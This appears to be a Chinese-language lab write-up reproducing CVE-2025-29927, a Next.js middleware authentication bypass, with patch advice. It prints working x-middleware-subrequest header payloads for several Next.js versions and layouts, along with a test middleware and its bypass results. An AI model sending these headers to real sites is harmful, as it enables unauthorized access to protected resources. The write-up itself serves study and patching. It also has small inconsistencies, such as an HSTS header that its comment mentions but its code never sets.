---
# System prepended metadata

title: CVE-2025-29927 復現

---

# CVE-2025-29927 漏洞復現

## 漏洞說明
![image](https://hackmd.io/_uploads/HkMfsoK_ee.png)

<!--
Next.js 的 middleware（中介軟體）會作為攔截器，在請求到達最終目的地之前執行。它通常用於實作身份驗證檢查、授權控制、路徑重寫、請求重新導向，以及套用安全性標頭。
Middleware 的執行由 Next.js 內部的 runMiddleware 函式負責管理。
此漏洞存在於 Next.js 用來防止 middleware 無限遞迴迴圈的內部機制中。
根據安全研究員 Rachid Allam（暱稱「zhero」）的發現，可以透過操控 x-middleware-subrequest HTTP 標頭來控制 middleware 的執行流程。
在舊版本（12.2 以前），middleware 會檢查該標頭的值是否包含 middleware 檔案的路徑，如果有，就會完全跳過 middleware 的執行。
在較新的版本中，middleware 引入了一個 MAX_RECURSION_DEPTH 檢查（設定為 5）以防止無限遞迴。如果該標頭的值中（以冒號分隔）出現 middleware 路徑 5 次或以上，則會跳過該 middleware 的執行。
此機制原本僅供內部使用，但卻會在沒有驗證的情況下接受並處理任何外部請求中的該標頭，導致攻擊者能藉由惡意構造該標頭來繞過 middleware 的安全控制。

-->

## 攻擊原理
允許使用者繞過 middleware  的安全控制，未經授權存取受保護的資源。


## 漏洞利用
攻擊方法是透過在 HTTP 請求中加入特製的 x-middleware-subrequest 標頭：

舊版本（12.2 以前）：
`x-middleware-subrequest: pages/_middleware`
新版本：
`x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware`
如果使用 src 目錄結構：
`x-middleware-subrequest:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware`

## 影響範圍
* Next.js 11.1.4 至 13.5.6
* Next.js 14.0 至 14.2.24
* Next.js 15.0 至 15.2.2


## 實作流程
PoC:

### 0x01 環境建置
* Kali Linux 2024.4 VMware
* Next.js 13.5.8 (13.5.9以前)

### 0x02 建立middleware.js
``` next.js
import { NextResponse } from 'next/server'

// 小工具：設定常見安全性標頭（用來觀察被跳過時標頭會消失）
function withSecurityHeaders(resp) {
  resp.headers.set('Content-Security-Policy', "default-src 'self'")
  resp.headers.set('X-Frame-Options', 'DENY')
  resp.headers.set('X-Content-Type-Options', 'nosniff')
  resp.headers.set('Referrer-Policy', 'no-referrer')
  return resp
}

export function middleware(req) {
  // 模擬「需要登入」：只有帶 cookie session=valid 才算登入
  const loggedIn = req.cookies.get('session')?.value === 'valid'
  if (!loggedIn) {
    // 未登入 → 擋下（401）
    const resp = new NextResponse('Unauthorized (blocked by middleware)', { status: 401 })
    return withSecurityHeaders(resp)
  }

  // 已登入 → 放行，並附加安全性標頭
  const resp = NextResponse.next()
  return withSecurityHeaders(resp)
}

// 只保護 /secret/* 路徑
export const config = {
  matcher: ['/secret/:path*'],
}

```
(1) 驗證：沒 cookie 就 401
(2) 安全性標頭：正常放行時會加 CSP/HSTS 等

### 0x03 建立被保護的頁面
``` next.js
export default function Secret() {
  return <h1>Super Secret Content 🚀</h1>
}

```

### 0x04 啟動&測試
(1) 未登入 : 回傳401，帶有安全性標頭(有經過middleware)
![image](https://hackmd.io/_uploads/Sk7_83YOgx.png)

(2) 已登入(以帶有cookie模擬) : 回傳200，帶有安全性標頭(有經過middleware)
![image](https://hackmd.io/_uploads/SkJyDntuex.png)

(3) 利用特製的 x-middleware-subrequest 標頭 : 回傳200，沒有安全性標頭(跳過middleware)
![image](https://hackmd.io/_uploads/HJ9fwhKdxe.png)


## 修補辦法
官方修補建議:
Next.js 15.x：請更新至 15.2.3 或以上版本。
Next.js 14.x：請更新至 14.2.25 或以上版本。
Next.js 11.1.4 至 13.5.6：建議升級至上述修補版本，或阻擋帶有 x-middleware-subrequest 標頭的外部請求


## 參考資料
https://zeropath.com/blog/nextjs-middleware-cve-2025-29927-auth-bypass
https://cnc.nptu.edu.tw/p/406-1007-181105,r1042.php?Lang=zh-tw
https://projectdiscovery.io/blog/nextjs-middleware-authorization-bypass

